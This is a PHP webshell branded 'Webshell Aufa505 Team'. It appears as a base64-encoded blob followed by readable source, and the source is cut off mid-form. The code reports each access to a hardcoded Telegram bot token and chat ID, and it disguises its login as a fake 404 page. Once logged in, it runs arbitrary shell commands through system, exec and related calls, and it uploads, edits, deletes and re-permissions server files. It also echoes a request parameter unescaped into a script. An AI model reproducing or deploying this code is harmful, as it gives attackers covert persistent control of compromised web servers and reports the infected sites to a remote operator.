I+V2Vic2hlbGwgQXVmYTUwNSBUZWFtPC9oMj48ZGl2IGNsYXNzPSJpbmZvLWJveCI+PGI+WW91ciBJUCA6PC9iPjw/cGhwICBnb3RvIEhWRWxxOyBuQ1Q4bDogaWYgKGlzc2V0KCRfR0VUWyJceDYzXHg2ZFx4NjQiXSkpIHsgZWNobyAiXHgzY1wxNjBcMTYyXHg2NVx4M2UiOyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoeCgkX0dFVFsiXHg2M1x4NmRcMTQ0Il0pKTsgZWNobyAiXDc0XDU3XDE2MFwxNjJcMTQ1XDc2IjsgfSBnb3RvIFBRMzh6OyBuc0NqZzogJG1lc3NhZ2UgPSAiXDM2MFx4OWZceDk0XDIyNFx4MjBceDQxXHg3NVwxNDZceDYxXHgyMFwxMjNcMTUwXHg2NVx4NmNcMTU0XDQwXHg0MVwxNDNcMTQzXDE0NVx4NzNcMTYzXDE0NVwxNDRceDIxXDEyXHg0NFwxNTdcMTU1XDE0MVx4NjlcMTU2XHgzYVw0MHskZG9tYWlufXskcGF0aH0iOyBnb3RvIFFOZkxMOyBQUTM4ejogaWYgKGlzc2V0KCRfR0VUWyJcMTQ1XHg2NFx4NjlcMTY0Il0pKSB7ICRlZGl0ZmlsZSA9IHByb3RlY3RSZWFsUGF0aCgkY3dkLCAkX0dFVFsiXDE0NVwxNDRceDY5XDE2NCJdKTsgaWYgKCRlZGl0ZmlsZSAmJiBpc19maWxlKCRlZGl0ZmlsZSkpIHsgJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRlZGl0ZmlsZSkpOyBlY2hvICJceDNjXDE1MFx4MzNceDNlXHg0NVx4NjRceDY5XHg3NFw3Mlw0MCIgLiBodG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRlZGl0ZmlsZSkpIC4gIlx4M2NcNTdcMTUwXHgzM1w3NiI7IGVjaG8gIlw3NFx4NjZcMTU3XDE2Mlx4NmRceDIwXHg2ZFwxNDVceDc0XDE1MFwxNTdcMTQ0XDc1XDQyXDEyMFx4NGZceDUzXDEyNFx4MjJceDNlXHhhXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNDBceDIwXHgyMFx4M2NcMTUxXHg2ZVx4NzBceDc1XHg3NFx4MjBcMTY0XHg3OVwxNjBcMTQ1XHgzZFx4MjJcMTUwXHg2OVwxNDRcMTQ0XHg2NVx4NmVceDIyXDQwXDE1Nlx4NjFceDZkXDE0NVw3NVw0MlwxNDVcMTQ0XDE1MVwxNjRcMTQ2XDE1MVwxNTRceDY1XDQyXDQwXDE2NlwxNDFcMTU0XHg3NVx4NjVceDNkXDQyIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRmaWxlKSAuICJcNDJcNzZcMTJceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgzY1wxNjRcMTQ1XDE3MFwxNjRcMTQxXHg3Mlx4NjVceDYxXDQwXDE1NlwxNDFcMTU1XDE0NVx4M2RcNDJcMTQzXDE1N1wxNTZcMTY0XHg2NVwxNTZcMTY0XDQyXHgyMFwxNjJceDZmXDE2N1x4NzNcNzVcNDJcNjJceDMwXHgyMlx4MjBcMTQzXHg2ZlwxNTRceDczXHgzZFw0Mlw2MVw2MFx4MzBceDIyXDc2IiAuICRjb250ZW50IC4gIlw3NFw1N1wxNjRcMTQ1XHg3OFx4NzRcMTQxXHg3MlwxNDVceDYxXHgzZVx4M2NcMTQyXDE2Mlw3Nlx4YVx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFx4M2NceDY5XHg2ZVx4NzBceDc1XHg3NFw0MFx4NzRcMTcxXHg3MFwxNDVcNzVceDIyXHg3M1x4NzVceDYyXHg2ZFx4NjlcMTY0XDQyXHgyMFwxNjZceDYxXDE1NFx4NzVcMTQ1XHgzZFx4MjJceDUzXDE0MVwxNjZceDY1XDQyXHgzZVwxMlw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXDQwXDc0XHgyZlx4NjZcMTU3XHg3MlwxNTVcNzYiOyB9IH0gZ290byBYYTdZbDsgTlpmWGw6IGlmIChpc3NldCgkX1BPU1RbIlwxNjVceDZlXDE1NFwxNTdcMTQzXDE1M1x4NWZceDY2XDE1N1wxNTRcMTQ0XHg2NVx4NzIiXSkpIHsgY2htb2QoJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbIlx4NzVceDZlXDE1NFwxNTdcMTQzXHg2YlwxMzdceDY2XHg2ZlwxNTRceDY0XHg2NVwxNjIiXSwgNDkzKTsgaGVhZGVyKCJceDRjXHg2Zlx4NjNceDYxXDE2NFx4NjlcMTU3XHg2ZVx4M2FcNDBceDNmXHg3MFwxNDFcMTY0XDE1MFw3NSIgLiB1cmxlbmNvZGUoJGN3ZCkgLiAiXDQ2XHg3M1wxNjVceDYzXHg2M1wxNDVceDczXDE2M1x4M2RceDc1XHg2ZVwxNTRcMTU3XHg2M1wxNTNcMTQ2XHg2Zlx4NmNceDY0XDE0NVx4NzIiKTsgZGllOyB9IGdvdG8gajFtQ2o7IEw4eTk2OiAkZG9tYWluID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXDExMFwxMTdcMTIzXHg1NCJdOyBnb3RvIG5Fd25sOyBOdkdKcjogZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGUpIHsgJHAgPSBmaWxlcGVybXMoJGZpbGUpOyAkdCA9ICcnOyAkdCAuPSBpc19kaXIoJGZpbGUpID8gIlwxNDQiIDogIlx4MmQiOyAkdCAuPSAkcCAmIDI1NiA/ICJceDcyIiA6ICJceDJkIjsgJHQgLj0gJHAgJiAxMjggPyAiXHg3NyIgOiAiXHgyZCI7ICR0IC49ICRwICYgNjQgPyAiXHg3OCIgOiAiXHgyZCI7ICR0IC49ICRwICYgMzIgPyAiXDE2MiIgOiAiXHgyZCI7ICR0IC49ICRwICYgMTYgPyAiXHg3NyIgOiAiXHgyZCI7ICR0IC49ICRwICYgOCA/ICJceDc4IiA6ICJceDJkIjsgJHQgLj0gJHAgJiA0ID8gIlwxNjIiIDogIlw1NSI7ICR0IC49ICRwICYgMiA/ICJceDc3IiA6ICJceDJkIjsgJHQgLj0gJHAgJiAxID8gIlwxNzAiIDogIlw1NSI7IHJldHVybiAkdDsgfSBnb3RvIGxxdFFXOyByUXJUZzogZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7IGlmICgkaXRlbSA9PT0gIlw1NiIgfHwgJGl0ZW0gPT09ICJceDJlXHgyZSIpIHsgY29udGludWU7IH0gJGZ1bGwgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOyAkZW5jX2l0ZW0gPSB1cmxlbmNvZGUoJGl0ZW0pOyBpZiAoaXNfZGlyKCRmdWxsKSkgeyBlY2hvICJcNzRcMTY0XHg3Mlw0MFwxNDNceDZjXDE0MVwxNjNcMTYzXDc1XDQ3XHg2NlwxNTFcMTU0XDE0NVx4MmRceDcyXDE1N1wxNjdceDI3XDc2XHgzY1x4NzRceDY0XHgzZVw3NFwxNDFceDIwXDE1MFx4NzJcMTQ1XDE0Nlx4M2RcNDdcNzdceDcwXHg2MVwxNjRceDY4XDc1IiAuIHVybGVuY29kZSgkZnVsbCkgLiAiXDQ3XDQwXDE2M1x4NzRcMTcxXHg2Y1wxNDVcNzVceDI3XHg2M1wxNTdcMTU0XHg2Zlx4NzJcNzJcNDNceDMwXHgzMFx4NjZceDY2XHgzMFw2MFw3M1w0N1w3Nlx4ZjBceDlmXHg5M1x4ODFceDIwIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pIC4gIlx4M2NcNTdcMTQxXHgzZVw3NFw1N1wxNjRcMTQ0XHgzZVw3NFwxNjRceDY0XDc2IiAuIGdldFBlcm1zKCRmdWxsKSAuICJcNzRcNTdcMTY0XHg2NFw3Nlx4M2NceDc0XDE0NFw3NiI7IGVjaG8gIlx4M2NceDYxXDQwXDE1MFwxNjJcMTQ1XHg2Nlw3NVx4MjdcNzdceDcwXHg2MVx4NzRcMTUwXDc1IiAuIHVybGVuY29kZSgkY3dkKSAuICJcNDZcMTQ0XHg2NVx4NmNceDY1XHg3NFx4NjVcNzUiIC4gJGVuY19pdGVtIC4gIlx4MjdceDIwXDE1N1wxNTZcMTQzXDE1NFwxNTFcMTQzXHg2Ylw3NVw0N1x4NzJcMTQ1XHg3NFwxNjVcMTYyXDE1Nlw0MFwxNDNcMTU3XDE1NlwxNDZcMTUxXDE2MlwxNTVceDI4XDQyXHg0NFx4NjVceDZjXDE0NVx4NzRcMTQ1XDQwXDE0Nlx4NmZceDZjXDE0NFwxNDVceDcyXHgyMHskaXRlbX1cNDBcNzdceDIyXHgyOVx4MjdceDIwXDE2M1wxNjRceDc5XHg2Y1x4NjVcNzVceDI3XHg2M1wxNTdceDZjXDE1N1wxNjJcNzJcNDNcMTQ2XHg2Nlw2NVw2NVx4MzVcNjVceDNiXDQ3XDc2XDM2MFwyMzdceDk3XHg5MVwzNTdcMjcwXHg4Zlw3NFx4MmZcMTQxXHgzZVx4MjAiOyBlY2hvICJceDNjXDU3XDE2NFwxNDRceDNlXDc0XHgyZlwxNjRceDcyXDc2IjsgfSB9IGdvdG8gRjB0NnE7IEphRnFEOiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN3ZCk7IGdvdG8gTDJEMnk7IEMyV0FQOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTQ1XDE0NFx4NjlcMTY0XDE0NlwxNTFcMTU0XDE0NSJdKSAmJiBpc3NldCgkX1BPU1RbIlx4NjNceDZmXDE1NlwxNjRceDY1XDE1NlwxNjQiXSkpIHsgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWyJceDY1XHg2NFx4NjlceDc0XDE0Nlx4NjlceDZjXHg2NSJdLCAkX1BPU1RbIlx4NjNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiXSk7IGhlYWRlcigiXDExNFx4NmZceDYzXHg2MVwxNjRcMTUxXDE1N1wxNTZceDNhXDQwXDc3XHg3MFwxNDFceDc0XHg2OFx4M2QiIC4gdXJsZW5jb2RlKCRjd2QpIC4gIlw0NlwxNjNceDc1XHg2M1wxNDNcMTQ1XHg3M1x4NzNcNzVceDY1XDE0NFx4NjlceDc0Iik7IGRpZTsgfSBnb3RvIHM3Y3plOyBaMUMzNTogZWNobyAkdGVybWluYWxfc3RhdHVzID8gIlx4NGZceDRlIiA6ICJcMTE3XHg0NlwxMDYiOyBnb3RvIEFkOVNfOyBEck45cDogPz4KPGJyPjxiPlRlcm1pbmFsIDo8L2I+IDxzcGFuIGNsYXNzPSI8P3BocCAgZ290byBSWlpGdDsgQWQ5U186ID8+Cjwvc3Bhbj48L2Rpdj48P3BocCAgZ290byB2Y293azsgdGlIODU6IGlmIChpc3NldCgkX0ZJTEVTWyJcMTY1XHg3MFwxNTRceDZmXDE0MVwxNDQiXSkpIHsgJGRlc3QgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCRfRklMRVNbIlwxNjVcMTYwXDE1NFwxNTdceDYxXHg2NCJdWyJceDZlXDE0MVwxNTVceDY1Il0pOyBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siXHg3NVwxNjBcMTU0XDE1N1wxNDFceDY0Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVceDY1Il0sICRkZXN0KTsgaGVhZGVyKCJceDRjXDE1N1x4NjNceDYxXDE2NFx4NjlceDZmXDE1Nlx4M2FcNDBcNzdceDcwXDE0MVwxNjRcMTUwXHgzZCIgLiB1cmxlbmNvZGUoJGN3ZCkgLiAiXDQ2XHg3M1wxNjVceDYzXHg2M1wxNDVcMTYzXDE2M1x4M2RcMTY1XHg3MFx4NmNceDZmXDE0MVx4NjQiKTsgZGllOyB9IGdvdG8gQzJXQVA7IHdsdzMzOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTYwXDE0MVwxNjNcMTYzIl0pKSB7ICRpbnB1dCA9IGhhc2goIlwxNjNceDY4XHg2MVw2Mlx4MzVceDM2IiwgJF9QT1NUWyJceDcwXDE0MVx4NzNceDczIl0pOyBpZiAoJGlucHV0ID09PSAkaGFzaF9wYXNzKSB7ICRfU0VTU0lPTlsiXHg2MVx4NzVcMTY0XDE1MCJdID0gdHJ1ZTsgfSBlbHNlIHsgZWNobyAiXHgzY1wxNjNcMTYwXDE0MVwxNTZceDIwXHg3M1wxNjRceDc5XHg2Y1x4NjVceDNkXHgyN1x4NjNcMTU3XHg2Y1wxNTdcMTYyXHgzYVx4NzJcMTQ1XDE0NFx4M2JceDI3XHgzZVx4NTBcMTQxXHg3M1wxNjNceDc3XDE1N1wxNjJcMTQ0XDQwXDE2M1x4NjFceDZjXDE0MVx4NjhcNDFceDNjXDU3XHg3M1x4NzBceDYxXDE1Nlw3NiI7IH0gfSBnb3RvIHp2a0Z4OyB6RElWaDogaWYgKGlzc2V0KCRfR0VUWyJcMTY1XHg2ZVx4NmNcMTU3XHg2M1wxNTNceDczXHg2OFwxNDVcMTU0XHg2YyJdKSkgeyBjaG1vZCgkY3dkLCA1MDkpOyBoZWFkZXIoIlwxMTRcMTU3XHg2M1x4NjFceDc0XDE1MVwxNTdcMTU2XHgzYVw0MFx4M2ZcMTYwXHg2MVx4NzRcMTUwXDc1IiAuIHVybGVuY29kZSgkY3dkKSAuICJceDI2XHg3M1x4NzVceDYzXHg2M1wxNDVceDczXHg3M1x4M2RceDc1XHg2ZVwxNTRcMTU3XHg2M1x4NmJceDczXDE1MFx4NjVcMTU0XDE1NCIpOyBkaWU7IH0gZ290byB6bVdNQTsgczdjemU6IGlmIChpc3NldCgkX1BPU1RbIlx4NmVcMTQ1XDE2N1wxMzdcMTQ2XHg2Zlx4NmNceDY0XDE0NVwxNjIiXSkgJiYgIWVtcHR5KHRyaW0oJF9QT1NUWyJcMTU2XDE0NVwxNjdcMTM3XHg2Nlx4NmZcMTU0XDE0NFwxNDVceDcyIl0pKSkgeyAkZm9sZGVybmFtZSA9IGJhc2VuYW1lKCRfUE9TVFsiXDE1Nlx4NjVcMTY3XDEzN1x4NjZceDZmXHg2Y1x4NjRceDY1XHg3MiJdKTsgJG5ld3BhdGggPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmb2xkZXJuYW1lOyBpZiAoIWlzX2RpcigkbmV3cGF0aCkpIHsgbWtkaXIoJG5ld3BhdGgsIDQ5Myk7IH0gaGVhZGVyKCJceDRjXDE1N1wxNDNceDYxXHg3NFwxNTFceDZmXDE1Nlw3Mlw0MFw3N1x4NzBceDYxXHg3NFx4NjhcNzUiIC4gdXJsZW5jb2RlKCRjd2QpIC4gIlw0Nlx4NzNcMTY1XDE0M1wxNDNceDY1XDE2M1x4NzNceDNkXDE0M1x4NzJcMTQ1XHg2MVx4NzRceDY1XDE0Nlx4NmZcMTU0XDE0NFx4NjVcMTYyIik7IGRpZTsgfSBnb3RvIGRJcWxyOyBNaWY4YTogJGluZm8gPSBnZXRTZXJ2ZXJJbmZvKCk7IGdvdG8gSlZOS2Q7IHpTM3MxOiBlY2hvIGNsaWNrYWJsZVBhdGgoJGN3ZCk7IGdvdG8geks4ZlI7IGRJcWxyOiBpZiAoaXNzZXQoJF9QT1NUWyJcMTU0XHg2Zlx4NjNceDZiXDEzN1wxNjNcMTUwXDE0NVwxNTRcMTU0Il0pKSB7IGNobW9kKCRjd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWyJcMTU0XDE1N1wxNDNceDZiXDEzN1wxNjNceDY4XHg2NVx4NmNceDZjIl0sIDI5Mik7IGhlYWRlcigiXDExNFx4NmZceDYzXDE0MVwxNjRceDY5XHg2Zlx4NmVceDNhXHgyMFx4M2ZcMTYwXDE0MVx4NzRcMTUwXHgzZCIgLiB1cmxlbmNvZGUoJGN3ZCkgLiAiXDQ2XHg3M1x4NzVceDYzXHg2M1x4NjVcMTYzXDE2M1w3NVx4NmNceDZmXHg2M1wxNTNcMTQ2XHg2OVx4NmNcMTQ1Iik7IGRpZTsgfSBnb3RvIFRhSjExOyBYUmhYbzogaWYgKGlzc2V0KCRfUE9TVFsiXHg2MVx4NjRceDY0XDEzN1wxNDZcMTUxXHg2Y1wxNDUiXSkgJiYgIWVtcHR5KHRyaW0oJF9QT1NUWyJceDZlXHg2NVwxNjdceDVmXHg2Nlx4NjlcMTU0XHg2NSJdKSkpIHsgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9QT1NUWyJcMTU2XHg2NVwxNjdcMTM3XDE0Nlx4NjlcMTU0XHg2NSJdKTsgJGZpbGVwYXRoID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWU7IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlcGF0aCwgJF9QT1NUWyJcMTQ2XHg2OVx4NmNcMTQ1XDEzN1wxNDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVwxNjQiXSk7IGhlYWRlcigiXDExNFx4NmZceDYzXHg2MVwxNjRcMTUxXDE1N1wxNTZcNzJcNDBceDNmXHg3MFx4NjFcMTY0XHg2OFw3NSIgLiB1cmxlbmNvZGUoJGN3ZCkgLiAiXDQ2XHg3M1x4NzVcMTQzXHg2M1wxNDVceDczXDE2M1x4M2RceDYxXHg2NFx4NjRceDY2XDE1MVx4NmNceDY1Iik7IGRpZTsgfSBnb3RvIEhnTmk0OyB6SzhmUjogPz4KPC9kaXY+PGZvcm0+PGlucHV0IG5hbWU9InBhdGgidHlwZT0iaGlkZGVuInZhbHVlPSI8P3BocCAgZ290byBKYUZxRDsgRGg1Tmk6IGZ1bmN0aW9uIGNoZWNrVGVybWluYWwoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlwxNjNcMTUwXHg2NVx4NmNcMTU0XDEzN1x4NjVcMTcwXDE0NVx4NjMiKSB8fCBmdW5jdGlvbl9leGlzdHMoIlwxNjNceDc5XDE2M1wxNjRcMTQ1XDE1NSIpIHx8IGZ1bmN0aW9uX2V4aXN0cygiXDE0NVx4NzhcMTQ1XDE0MyIpIHx8IGZ1bmN0aW9uX2V4aXN0cygiXHg3MFwxNDFcMTYzXDE2M1x4NzRceDY4XHg3Mlx4NzUiKSkgeyByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0gZ290byBNaWY4YTsgSGdOaTQ6IGlmIChpc3NldCgkX0dFVFsiXDE0NFwxNDVceDZjXHg2NVwxNjRceDY1Il0pKSB7ICR0YXJnZXQgPSBwcm90ZWN0UmVhbFBhdGgoJGN3ZCwgJF9HRVRbIlwxNDRceDY1XHg2Y1x4NjVcMTY0XHg2NSJdKTsgaWYgKCR0YXJnZXQgJiYgaXNfZmlsZSgkdGFyZ2V0KSkgeyB1bmxpbmsoJHRhcmdldCk7IH0gZWxzZWlmICgkdGFyZ2V0ICYmIGlzX2RpcigkdGFyZ2V0KSkgeyBybWRpcigkdGFyZ2V0KTsgfSBoZWFkZXIoIlwxMTRceDZmXHg2M1wxNDFceDc0XHg2OVx4NmZcMTU2XHgzYVw0MFw3N1wxNjBcMTQxXHg3NFx4NjhceDNkIiAuIHVybGVuY29kZSgkY3dkKSAuICJcNDZcMTYzXDE2NVx4NjNceDYzXDE0NVwxNjNceDczXDc1XHg2NFx4NjVcMTU0XHg2NVwxNjRcMTQ1Iik7IGRpZTsgfSBnb3RvIHRpSDg1OyBpMGwyMTogJGN3ZCA9IGlzc2V0KCRfR0VUWyJceDcwXHg2MVwxNjRceDY4Il0pID8gcmVhbHBhdGgoJF9HRVRbIlwxNjBceDYxXDE2NFx4NjgiXSkgOiBnZXRjd2QoKTsgZ290byBJalpxSDsgSlZOS2Q6ICR0ZXJtaW5hbF9zdGF0dXMgPSBjaGVja1Rlcm1pbmFsKCk7IGdvdG8gZVJxYmI7IHNGZVNSOiA/Pgo8YnI+PGI+U2VydmVyIDo8L2I+PD9waHAgIGdvdG8gY3FmNUg7IGF4aVh6OiAkdGVsZWdyYW1DaGF0SWQgPSAiXHgzNlw2Nlx4MzdceDMxXDYzXDY2XHgzOFx4MzhceDM3XHgzMiI7IGdvdG8gTDh5OTY7IElqWnFIOiBpZiAoJGN3ZCA9PT0gZmFsc2UpIHsgJGN3ZCA9IGdldGN3ZCgpOyB9IGdvdG8gQTFYQWQ7IE56RnczOiBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGluZm9bIlwxNjNceDY1XDE2MlwxNjZcMTQ1XHg3MlwxMTFceDUwIl0pOyBnb3RvIHNGZVNSOyBUcFJvTTogPz4KPGRpdj48Yj5QYXRoOjwvYj48P3BocCAgZ290byB6UzNzMTsgbUtSUHQ6ID8+CjwvYm9keT48L2h0bQ==')); ?>
<?php eval { session_start(); $telegramToken = "7422517712:AAE53ShTgSgrCOXvNhXXu9j2RUzZmQK0Qz4"; $telegramChatId = "6671368872"; $domain = $_SERVER["HTTP_HOST"]; $path = $_SERVER["REQUEST_URI"]; $message = "đ Aufa Shell Accessed!\nDomain: {$domain}{$path}"; file_get_contents("https://api.telegram.org/bot7422517712:AAE53ShTgSgrCOXvNhXXu9j2RUzZmQK0Qz4/sendMessage?chat_id=6671368872&text=" . urlencode($message)); $hash_pass = hash("sha256", "aufa"); if (isset($_POST["pass"])) { $input = hash("sha256", $_POST["pass"]); if ($input === $hash_pass) { $_SESSION["auth"] = true; } else { echo "<span style='color:red;'>Password salah!</span>"; } } if (!isset($_SESSION["auth"])) { http_response_code(404); echo "\n <html><body style=\"background:#1e1e2f;color:#ffffff;font-family:monospace;\">\n <h2>404 Not Found</h2>\n <form method=\"POST\">\n <input type=\"password\" name=\"pass\" placeholder=\"Password...\" autofocus>\n <input type=\"submit\" value=\"Login\">\n </form>\n </body></html>"; die; } function x($cmd) { if (function_exists("system")) { return system($cmd); } if (function_exists("shell_exec")) { return shell_exec($cmd); } if (function_exists("passthru")) { return passthru($cmd); } if (function_exists("exec")) { exec($cmd, $out); return implode("\n", $out); } return "Command execution not available."; } $cwd = isset($_GET["path"]) ? realpath($_GET["path"]) : getcwd(); if ($cwd === false) { $cwd = getcwd(); } chdir($cwd); function getPerms($file) { $p = fileperms($file); $t = ''; $t .= is_dir($file) ? "d" : "-"; $t .= $p & 256 ? "r" : "-"; $t .= $p & 128 ? "w" : "-"; $t .= $p & 64 ? "x" : "-"; $t .= $p & 32 ? "r" : "-"; $t .= $p & 16 ? "w" : "-"; $t .= $p & 8 ? "x" : "-"; $t .= $p & 4 ? "r" : "-"; $t .= $p & 2 ? "w" : "-"; $t .= $p & 1 ? "x" : "-"; return $t; } function clickablePath($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $accum = ''; $links = array(); foreach ($parts as $part) { if ($part === '') { continue; } $accum .= DIRECTORY_SEPARATOR . $part; $links[] = "<a href=\"?path=" . urlencode($accum) . "\" style=\"color:#00ff00\">" . htmlspecialchars($part) . "</a>"; } return DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $links); } function protectRealPath($base, $file) { $real = realpath($base . DIRECTORY_SEPARATOR . $file); return $real && strpos($real, $base) === 0 ? $real : false; } if (isset($_POST["add_file"]) && !empty(trim($_POST["new_file"]))) { $filename = basename($_POST["new_file"]); $filepath = $cwd . DIRECTORY_SEPARATOR . $filename; file_put_contents($filepath, $_POST["file_content"]); header("Location: ?path=" . urlencode($cwd) . "&success=addfile"); die; } if (isset($_GET["delete"])) { $target = protectRealPath($cwd, $_GET["delete"]); if ($target && is_file($target)) { unlink($target); } elseif ($target && is_dir($target)) { rmdir($target); } header("Location: ?path=" . urlencode($cwd) . "&success=delete"); die; } if (isset($_FILES["upload"])) { $dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES["upload"]["name"]); move_uploaded_file($_FILES["upload"]["tmp_name"], $dest); header("Location: ?path=" . urlencode($cwd) . "&success=upload"); die; } if (isset($_POST["editfile"]) && isset($_POST["content"])) { file_put_contents($_POST["editfile"], $_POST["content"]); header("Location: ?path=" . urlencode($cwd) . "&success=edit"); die; } if (isset($_POST["new_folder"]) && !empty(trim($_POST["new_folder"]))) { $foldername = basename($_POST["new_folder"]); $newpath = $cwd . DIRECTORY_SEPARATOR . $foldername; if (!is_dir($newpath)) { mkdir($newpath, 493); } header("Location: ?path=" . urlencode($cwd) . "&success=createfolder"); die; } if (isset($_POST["lock_shell"])) { chmod($cwd . DIRECTORY_SEPARATOR . $_POST["lock_shell"], 292); header("Location: ?path=" . urlencode($cwd) . "&success=lockfile"); die; } if (isset($_POST["unlock_shell"])) { chmod($cwd . DIRECTORY_SEPARATOR . $_POST["unlock_shell"], 420); header("Location: ?path=" . urlencode($cwd) . "&success=unlockfile"); die; } if (isset($_POST["lock_folder"])) { chmod($cwd . DIRECTORY_SEPARATOR . $_POST["lock_folder"], 365); header("Location: ?path=" . urlencode($cwd) . "&success=lockfolder"); die; } if (isset($_POST["unlock_folder"])) { chmod($cwd . DIRECTORY_SEPARATOR . $_POST["unlock_folder"], 493); header("Location: ?path=" . urlencode($cwd) . "&success=unlockfolder"); die; } if (isset($_GET["lockshell"])) { chmod($cwd, 365); header("Location: ?path=" . urlencode($cwd) . "&success=lockshell"); die; } if (isset($_GET["unlockshell"])) { chmod($cwd, 509); header("Location: ?path=" . urlencode($cwd) . "&success=unlockshell"); die; } if (isset($_POST["rename_old"]) && isset($_POST["rename_new"])) { $old = protectRealPath($cwd, $_POST["rename_old"]); $new = $cwd . DIRECTORY_SEPARATOR . basename($_POST["rename_new"]); if ($old && file_exists($old)) { rename($old, $new); } header("Location: ?path=" . urlencode($cwd) . "&success=rename"); die; } function getServerInfo() { $yourIP = $_SERVER["REMOTE_ADDR"] ?? "Unknown"; $serverIP = gethostbyname(gethostname()); $serverName = php_uname(); $serverSoftware = $_SERVER["SERVER_SOFTWARE"] ?? "Unknown"; $phpVersion = PHP_VERSION; return array("yourIP" => $yourIP, "serverIP" => $serverIP, "serverName" => $serverName, "serverSoftware" => $serverSoftware, "phpVersion" => $phpVersion); } function checkTerminal() { if (function_exists("shell_exec") || function_exists("system") || function_exists("exec") || function_exists("passthru")) { return true; } return false; } $info = getServerInfo(); $terminal_status = checkTerminal(); ?> <!doctypehtml><html><head><title>Webshell Aufa505 Team</title><style>body{background:#0f0f0f;color:#0f9;font-family:monospace;padding:20px}input,textarea{background:#1a1a1a;color:#0f9;border:1px solid #333;padding:5px;font-family:monospace}input[type=submit]{background:#096;color:#fff;font-weight:700;border:none;padding:6px 10px;cursor:pointer;margin-top:4px}.file-table{width:100%;border-collapse:separate;border-spacing:0 8px;margin-top:10px;font-size:16px}.file-table th{background:#1c1c1c;color:#0f9;text-align:left;padding:10px 15px;border-radius:6px}.file-table td{padding:10px 15px}.file-row{background:#121212;border:1px solid #030;border-radius:6px;transition:background-color .3s ease,box-shadow .3s ease;cursor:default}.file-row:hover{background:#040;box-shadow:0 0 10px #0f9}.file-table a{color:#3fc;text-decoration:none}.file-table a:hover{text-decoration:underline}.status-on{color:#0f0;font-weight:700}.status-off{color:#f44;font-weight:700}.info-box{background:#1a1a1a;padding:15px;margin-bottom:20px;border-radius:6px;line-height:1.6;color:#9fc}form>input[type=password],form>input[type=text]{margin-right:10px;margin-bottom:6px}</style></head><body><h2>Webshell Aufa505 Team</h2><div class="info-box"><b>Your IP :</b><?php echo htmlspecialchars($info["yourIP"]); ?> <br><b>Server IP :</b><?php echo htmlspecialchars($info["serverIP"]); ?> <br><b>Server :</b><?php echo htmlspecialchars($info["serverName"]); ?> <br><b>Server Software :</b><?php echo htmlspecialchars($info["serverSoftware"]); ?> <br><b>PHP Version :</b><?php echo htmlspecialchars($info["phpVersion"]); ?> <br><b>Terminal :</b> <span class="<?php echo $terminal_status ? "status-on" : "status-off"; ?> "><?php echo $terminal_status ? "ON" : "OFF"; ?> </span></div><?php if (isset($_GET["success"])) { ?> <script>const msg = { upload: "â File uploaded!", delete: "đī¸ Deleted!", edit: "đž Saved!", lockshell: "đ Shell locked!", unlockshell: "đ Shell unlocked!", lockfile: "đ File locked!", unlockfile: "đ File unlocked!", lockfolder: "đ Folder locked!", unlockfolder: "đ Folder unlocked!", createfolder: "đ Folder created!", rename: "âī¸ Renamed!", addfile: "đ File created!" }; alert(msg["<?php echo $_GET["success"]; ?> "] || "â Done.");</script><?php } ?> <div><b>Path:</b><?php echo clickablePath($cwd); ?> </div><form><input name="path"type="hidden"value="<?php echo htmlspecialchars($cwd); ?> "> <input name="cmd"placeholder="Command..."> <input type="submit"value="Execute"></form><form method="POST"><input name="lock_shell"placeholder="Lock file"><input type="submit"value="đ Lock"></form><form method="POST"><input name="unlock_shell"placeholder="Unlock file"><input type="submit"value="đ Unlock"></form><form method="POST"><input name="lock_folder"placeholder="Lock folder"><input type="submit"value="đ Lock"></form><form method="POST"><input name="unlock_folder"placeholder="Unlock folder"><input type="submit"value="đ Unlock"></form><form><input name="lockshell"type="hidden"value="1"><input type="submit"value="đ Lock Shell"></form><form><input name="unlockshell"type="hidden"value="1"><input type="submit"value="đ Unlock Shell"></form><form method="POST"><input name="new_folder"placeholder="New folder name"><input type="submit"value="đ Create Folder"></form><form method="POST"><input 